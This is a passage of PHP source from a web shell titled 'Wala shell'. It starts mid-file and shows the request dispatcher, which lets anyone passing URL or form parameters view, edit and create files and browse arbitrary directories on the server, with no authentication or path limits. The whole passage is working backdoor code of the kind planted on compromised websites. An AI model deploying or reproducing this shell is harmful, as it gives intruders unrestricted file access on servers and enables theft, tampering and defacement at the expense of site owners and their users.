Wala shell

"; echo "Back to Directory"; } // Determine what action to take if (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); if ($currentDir === false || !is_dir($currentDir)) { die('Invalid directory.'); } listDirectory($currentDir); } ?>